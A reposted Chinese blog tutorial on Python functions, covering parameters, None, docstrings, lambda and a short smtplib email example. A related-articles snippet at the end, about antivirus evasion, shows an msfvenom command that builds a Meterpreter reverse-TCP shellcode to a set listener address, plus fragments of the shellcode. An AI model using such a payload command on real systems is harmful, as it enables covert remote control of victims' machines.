第五章 Python 函数(一)

摘要:
虽然None作为布尔值和False是一样的,但它同时又和False又有很多差别。下面是一个例子˃˃˃thing=None˃˃˃ifthingisNone:#为了区分None和False的区别,这里使用is...print...else:...print...It'snothing˃˃˃这看起来是一个微妙的差别,但对于Python来说是很重要的。你需要把Nonehe不含任何值的空数据结构区分开来。
Python 函数

一、函数功能和特性

  功能:

1. 函数是对实现对实现某一功能的代码的封装

2. 函数可以实现代码的复用,从而减少代码的重复编写

  特性:

1. 函数可以接受任何数字或者任何类型的输入作为其参数

2. 函数也可以通过关键字 return 可以返回任何数字或者其他类型的结果

二、函数的定义和调用

我们通常可以对函数进行的操作有:定义函数和调用函数

1. 定义函数

定义一个函数需要几个元素:关键字 def 函数名 小括号:() 函数体

具体如下:

第五章 Python 函数(一)第1张第五章 Python 函数(一)第2张
1 >>> def make_a_sound():      #定义函数,
2 ...     print('quack')                  #函数体,同样需要缩进
3 ... 
4 >>> 
5 
6 
7 #上面的代码中:
8 #def  是关键字
9 #make_a_sound 是函数名
10 #() 小括号里面是函数的参数,参数可以是0.但是不管函数有几个,小括号都是必须的
11 #当然冒号也是必须的
12 #下面的是函数体: print('quack') 这里同样需要缩进
13  
View Code

2. 调用函数

调用一个不含参数的函数,接上面的例子

第五章 Python 函数(一)第3张第五章 Python 函数(一)第4张
1 >>> make_a_sound       #调用只使用函数名,只会得到一个对象                         
2 <function make_a_sound at 0x7f221b73a488>
3 >>> make_a_sound()    #正确的调用方法是: 函数名加上小括号
4 quack
5 >>>
6 
7 #无论要调用的函数是否有参数,小括号都是必须的
View Code

3.定义一个含有参数的函数并且调用此函数

第五章 Python 函数(一)第5张第五章 Python 函数(一)第6张
1 [root@localhost ~]#python3
2 Python 3.6.0 (default, Feb  6 2017, 04:32:17) 
3 [GCC 4.8.5 20150623 (Red Hat 4.8.5-4)] on linux
4 Type "help", "copyright", "credits" or "license" formore information.
5 >>> defcommentery(color):
6 ...     if color == 'red':
7 ...         print('You input color is {}'.format(color))
8 ...     else:
9 ...         print('You input color is {}'.format(color))
10 ... 
11 >>> commentery('red')
12 You input color isred
13 >>> commentery('blue')
14 You input color isblue
15 >>> 
View Code

4. 定义一个有返回值的函数并调用此函数

第五章 Python 函数(一)第7张第五章 Python 函数(一)第8张
1 >>> defecho(anything):
2 ...     return anything + ' ' + anything   #用关键字 return 定义函数的返回
3 ... 
4 >>> echo('result')
5 'result result'                  #函数返回值
6 >>>
7 
8 #函数可以返回任何数量(包括 0)的任何类型的结果
9 #当一个函数没有显示的调用 return函数时,默认会返回 None
10 >>> defdo_nothing():
11 ...      print('ok')
12 ... 
13 >>> print(do_nothing())
14 ok                            #函数体本身执行结果
15 None                        #函数自身返回值
16 >>> 
View Code

5. 关于 None

None 在Python中是一个特殊的值,有重要作用。虽然None作为布尔值和 False 是一样的,但它同时又和 False 又有很多差别。

下面是一个例子

>>> thing =None
>>> if thing is None:           #为了区分 None 和 False 的区别,这里使用 is
...     print("It's nothing")
... else:
...     print("It's something")
... 
It's nothing
>>> 

这看起来是一个微妙的差别,但对于Python 来说是很重要的。

你需要把 None he 不含任何值的空数据结构区分开来。

比如: 0(数字零)值的整型/浮点型、空字符串、空列表、空元组、空字典、空集合在Python中都等价于False,但是不等于 None

再来看下面这个函数,用于测试验证上面的观点

第五章 Python 函数(一)第9张第五章 Python 函数(一)第10张
1 >>> defis_none(thing):
2 ...     if thing isNone:
3 ...         print("It's None")
4 ...     elifthing:
5 ...         print("It's True")
6 ...     else:
7 ...         print("It's False")
8 ... 
9 >>>is_none(None)
10 It's None
11 >>>is_none(True)
12 It's True
13 >>>is_none(0)
14 It's False
15 >>> is_none(0.00)
16 It's False
17 >>> is_none('')
18 It's False
19 >>>is_none([])
20 It's False
21 >>>is_none(())
22 It's False
23 >>>is_none({})
24 It's False
25 >>>is_none(set())
26 It's False
27 >>> is_none(' ')     #这个值得注意,这里是含有一个空格的字符串
28 It's True
29 >>> 
View Code

三、函数的参数之位置参数 --》从形参角度

什么是形参:

对于函数来说,形式参数简称形参,是指在定义函数时,定义的一个变量名;

下面的代码中,arg1、arg2、arg3就是形参

什么是实参:

对于函数来说,实际参数简称实参,是指在调用函数时传入的实际的数据,是给形参赋值的,可以理解为变量的值;

下面的代码中,1、3、2 就叫实参


>>> deflocation_args(arg1,arg2,arg3): ... print('The first argument is ',arg1) ... print('The second argument is ',arg2) ... print('The third argument is ',arg3) ... >>> location_args(1,3,2) The first argument is 1The second argument is 3The third argument is 2 >>>

位置参数有一个缺点,就是你需要事先知道每个位置参数的含义,否则就会在传参数时,出现类似把第三个位置参数的值传给了第二个位置的形参

四、函数参数之默认参数 ---》 从形参角度

第五章 Python 函数(一)第11张第五章 Python 函数(一)第12张
1 >>> def default_args(arg1,arg2,arg3=5):
2 ...     print('The first argument is ',arg1)
3 ...     print('The second argument is ',arg2)
4 ...     print('The third argument is ',arg3)
5 ... 
6 >>> default_args(1,2)
7 The first argument is  1
8 The second argument is  2
9 The third argument is  5
10 >>> default_args(1,2,3)
11 The first argument is  1
12 The second argument is  2
13 The third argument is  3
14 >>> default_args(1,2,arg3=3)
15 The first argument is  1
16 The second argument is  2
17 The third argument is  3
18 >>> default_args(1,arg2=5,arg3=3)
19 The first argument is  1
20 The second argument is  5
21 The third argument is  3
22 >>> 
23 
24 #默认参数是在定义函数时定义的,必须放在位置参数的后面,否则会报错:
25 >>> def  default_args(arg1,arg3=5,arg2):
26 ...     print('The first argument is ',arg1)
27 ...     print('The second argument is ',arg2)
28 ...     print('The third argument is ',arg3)
29 ... 
30   File "<stdin>", line 1
31 SyntaxError: non-default argument follows default argument
32 >>> 
View Code

五、函数之动态参数 ---》从形参角度

1. 用 * 收集位置参数

第五章 Python 函数(一)第13张第五章 Python 函数(一)第14张
>>> def print_args(*args):
...     print('Return positional argument tuple:',args)
... 
#一般的执行方式
>>> print_args(11,22,33,'a','b','c')
Return positional argument tuple: (11, 22, 33, 'a', 'b', 'c')
>>>print_args()
Return positional argument tuple: ()
>>> list = ['a','b','c',1,2,3]
>>>print_args(list)
Return positional argument tuple: (['a', 'b', 'c', 1, 2, 3],)
#上面的这种方式是把每一个实参的对象作为元组的每一个元素传给函数的

#另一种执行方式
>>> print_args(*list)
Return positional argument tuple: ('a', 'b', 'c', 1, 2, 3)
>>> print_args(*'abc')
Return positional argument tuple: ('a', 'b', 'c')
>>>

#可以看出上面的执行方式是,把一个可迭代的实参对象中的每个元素作为元组的每一个元素传给函数的
View Code

2. 用 ** 收集关键字参数

第五章 Python 函数(一)第15张第五章 Python 函数(一)第16张
1 >>> def print_args(**kwargs):
2 ...     print('keyword arguments:',kwargs)
3 ... 
4 #一般执行方式
5 >>> print_args(Monday='星期一',Tuesday='星期二',Thursday='星期三')
6 keyword arguments: {'Monday': '星期一', 'Tuesday': '星期二', 'Thursday': '星期三'}
7 >>> list = ['a', 'b', 'c', 1, 2, 3]
8 >>> dict = {'Monday': '星期一', 'Tuesday': '星期二', 'Thursday': '星期三'}
9 >>> print_args(l =list)
10 keyword arguments: {'l': ['a', 'b', 'c', 1, 2, 3]}
11 >>> print_args(dict1=dict)
12 keyword arguments: {'dict1': {'Monday': '星期一', 'Tuesday': '星期二', 'Thursday': '星期三'}}
13 #可以看出在传参时使用关键字参数,在函数内部会是一个字典
14 
15 #另一种执行方式
16 >>> print_args(**list)
17 Traceback (most recent call last):
18   File "<stdin>", line 1, in <module>
19 TypeError: print_args() argument after ** must be a mapping, notlist
20 >>> print_args(**dict)
21 keyword arguments: {'Monday': '星期一', 'Tuesday': '星期二', 'Thursday': '星期三'}
22 #这个用法同上面的道理一样,只是这里不能接受列表,仅限于字典
View Code

六、函数参数的传递 ---》 从实参角度

从函数参数的传递方式来分,函数的参数可以分为两种:位置参数和关键字参数

1. 位置参数

2. 关键字参数

>>> defappoint_args(arg1,arg2,arg3):
...     print('The first argument is ',arg1)
...     print('The second argument is ',arg2)
...     print('The third argument is ',arg3)
... 
>>> appoint_args(arg3=3,arg2=2,arg1=1)
The first argument is  1The second argument is  2The third argument is  3
>>> 
#可以看出指定关键字参数,是对于传参来说的,传参时明确的用关键字形参的名称对应#形参的值;#这样就可以在传参时,不用关心传参时实参的位置了

七、函数参数总结

函数参数从形参角度来说,就是在定义函数时定义的变量名的参数,分为三种:

1. 位置参数 如: arg1,arg2

所用的参数是有位置的特性的,位置是固定的,传参时的值也是要一一对应的

2. 默认参数参数 如:arg = 5

3. 动态参数 如: *args,**kwargs

函数参数从实参角度来说,就是在调用函数时给函数传入的实际的值,分为两种

1. 位置参数

在传参时,值和定义好的形参有一一对应的关系

2. 关键字参数

在传参时,利用key = value 的方式传参,没有对位置的要求

八、函数中的文档字符串

程序的可读性很重要,在函数的开始部分附上关于此函数的说明文档是个很好的习惯,这就是函数的文档字符串

第五章 Python 函数(一)第17张第五章 Python 函数(一)第18张
1 >>> defecho(anything):
2 ...     'echo return its input argument'   #定义简单的一行说明文字
3 ...     returnanything
4 ... 
5 >>> help(echo)          #调用 help() 函数时,把函数名作为参数传递,就会打印出说明文档,按 q 键即可退出
6 
7 
8 
9 
10 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 Help on function echo in module __main__:
21 
22 echo(anything)
23     echo returnits input argument
24 (END)
25 
26 #当然我们同样可以用 """ 多行字符说明文档""" 的形式添加多行说明文档,而且更规范
27 >>> defprint_if_true(thing,check):
28 ...     '''
29 ...     Prints the first argument if a second argument is true.
30 ...     The operattion is:
31 ...         1. Check whether the *second* argument is true.
32 ...         2. If it is, print the *first* argument.
33 ...     '''
34 ...     ifcheck:
35 ...         print(thing)
36 ... 
37 >>>help(print_if_true)
38 
39 #仅打印说明文档后立即退出,可以使用如下方法:
40 >>> print(echo.__doc__)
41 echo returnits input argument
42 >>> print(print_if_true.__doc__)
43 
44     Prints the first argument if a second argument istrue.
45     The operattion is:
46         1. Check whether the *second* argument istrue.
47         2. If it is, print the *first*argument.
48     
49 >>> 
View Code

九、匿名函数:lambda() 和三元运算

lambda函数是用一个语句表达的匿名函数,可以用它来代替小的函数。

#先看一个简单的普通函数 
>>> deff1(arg1,arg2):
...     return arg1 +arg2
... 
>>> f1(2,5)
7

#再看 lambda 表达式

#格式:#lambda 参数:函数体
>>> lambda arg1,arg2:arg1 +arg2
<function <lambda> at 0x7f3fe4120510>
>>> sum_number = lambda arg1,arg2:arg1 +arg2
>>> sum_number(2,5)
7
>>> 

三元运算就是用来写简单的 if ... eles: ...语句的

基本语法:

条件为真时的表达式 /结果 if 条件 else 条件为假时的表达式/结果

#普通的if  else
>>> defmax(arg1,arg2):
...     if arg1 >arg2:
...         print('Max is:',arg1)
...     else:print('Max is:',arg2)
... 
>>> max(3,4)
Max is: 4

#三元运算

>>> defmax2(arg1,arg2):
...     print('Max is:',arg1) if arg1 > arg2 else ('Max is:',arg2)
... 
>>> max2(3,5)
Max is: 5
>>> 
>>> x = 3 if (y == 1) else 2

# 上面这个表达式的意思就是:如果y等于那么就把3赋值给x,否则把2赋值给x, 条件中的括号是可选的,为了可读性可以考虑加上去.if else中的表达式可以是任何类型的,既可以函数,还可以类

>>> (func1 if y == 1 else func2)(arg1, arg2)

# 如果y等于1,那么调用func1(arg1,arg2)否则调用func2(arg1,arg2)

>>> x = (class1 if y == 1 else class2)(arg1, arg2)
# class1,class2是两个类

扩展知识:Python 发送邮件

import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr
  
  
msg = MIMEText('邮件内容', 'plain', 'utf-8')
msg['From'] = formataddr(["西瓜甜",'dockerhub@163.com'])
msg['To'] = formataddr(["走人",'86000153@qq.com'])
msg['Subject'] = "主题-测试"
  
server = smtplib.SMTP("smtp.126.com", 25)
server.login("dockerhub@163.com", "邮箱密码")
server.sendmail('dockerhub163.com', ['86000153@qq.com',], msg.as_string())
server.quit()

免责声明:文章转载自《第五章 Python 函数(一)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇typora文件云同步C# 内存泄露下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

如何在交互式环境中执行Python程序

相信接触过Python的小伙伴们都知道运行Python脚本程序的方式有多种,目前主要的方式有:交互式环境运行、命令行窗口运行、开发工具上运行等,其中在不同的操作平台上还互不相同。今天,小编讲些Python基础的内容,以Windows下交互式环境为依托,演示Python程序的运行。 一般来说,顺利安装Python之后,有两种方式可以进入Python交互性环...

python图片黑白化

#!/usr/bin/env python#-*- coding:utf-8 -*- from PIL importImage im = Image.open(r"C:Userswangshaowei6Desktopwm.gif") #(将图片转换为8位像素模式) 和RGB模式相似 im.convert("P") his =im.histogram(...

python字符编码、字符串格式化、字符串方法、列表、元组、字典、集合等基础知识总结

目录: 一、字符编码 二、字符串格式化 三、进制转换 四、数据类型及其操作 1.int类、2.str类 五、格式转换 六、For循环 七、三元运算 八.列表 九、列表推导式 十、元组 十一、字典 十二、集合set 十三、文件操作 十四、变量指向和深浅拷贝 一.字符编码: 计算机由美国人发明,最早的字符编码为ASCII,只规定了英文字母数字和一些特殊字符与数...

python的文件操作1,监控日志联系、读取大文件、修改文件、集合、元组、random模块以及函数初识

一、判断 #非空即真,非零即真# 非空(None,'',[],{})都是空umser=input('请输入姓名').strip()if umser:print('umser不为空')else:print('umser为空')print(len(umser)>0)if 1:print('真')else:print('假') 一、文件读写 fw=op...

RF(一)RF的安装步骤

RF的安装 hi all~~  下面介绍一下RF环境安装,以及各种库的安装~ (环境变量配置,安装包下载地址这里我都没有详细去写,不会的同学们可以百度一下或者给我留言哦~后续如果询问的同学多的话,我再补充~) 一、RF环境安装 1、安装python(这里需要说一下,RF支持python2.7,所以不要安装python3哦) 2、配置python环境变量...

利用Python进行Payload分离免杀

缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=192.168.3.60 LPORT=3333 -f c    将payload给copy下来,去除引号。 x2fx4fx69x43x41x4...